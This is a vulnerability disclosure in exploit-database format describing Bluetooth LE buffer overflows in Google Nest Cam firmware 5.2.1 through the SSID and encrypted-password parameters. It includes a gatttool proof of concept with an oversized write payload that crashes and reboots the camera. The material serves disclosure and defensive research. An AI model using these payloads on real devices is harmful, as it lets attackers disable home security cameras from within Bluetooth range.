# Exploit Title: Google Nest Cam - Multiple Buffer Overflow Conditions Over Bluetooth LE
# Reported to Google: October 26, 2016

# Public Disclosure: March 17, 2017
# Exploit Author: Jason Doyle @_jasondoyle
# Vendor Homepage: https://nest.com/
# Affected: Dropcam, Dropcam Pro, Nest Cam Indoor/Outdoor models

# Tested Version: 5.2.1

# Fixed Version: TBD
# https://github.com/jasondoyle/Google-Nest-Cam-Bug-Disclosures/blob/master/README.md


==Bluetooth (BLE) based Buffer Overflow via SSID parameter==

1. Summary


It's possible to trigger a buffer overflow condition when setting the SSID parameter on the camera. The attacker must be in bluetooth range at any time during the cameras powered on state. Bluetooth is never disabled even after initial setup.

2. Proof of Concept


anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I

[18:B4:30:5D:00:B8][LE]> connect

Attempting to connect to 18:B4:30:5D:00:B8

Connection successful

[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a031201AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b

Characteristic value was written successfully

Characteristic value was written successfully

[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.

3. Details 

The payload attempts to set an SSID with a length of 1 byte and sends 16.
SequenceNum=3a + Type=0312 + Length=01 + Value=AA*16

4. Result


Crash and reboot back to operational state


==Bluetooth (BLE) based Buffer Overflow via Encrypted Password parameter==

1. Summary


It's possible to trigger a buffer overflow condition when setting the encrypted password parameter on the camera. The attacker must be in bluetooth range at any time during the cameras powered on state. Bluetooth is never disabled even after initial setup.

3. Details


The payload attempts to set the encrypted wifi password with a length of 1 byte and sends 3.
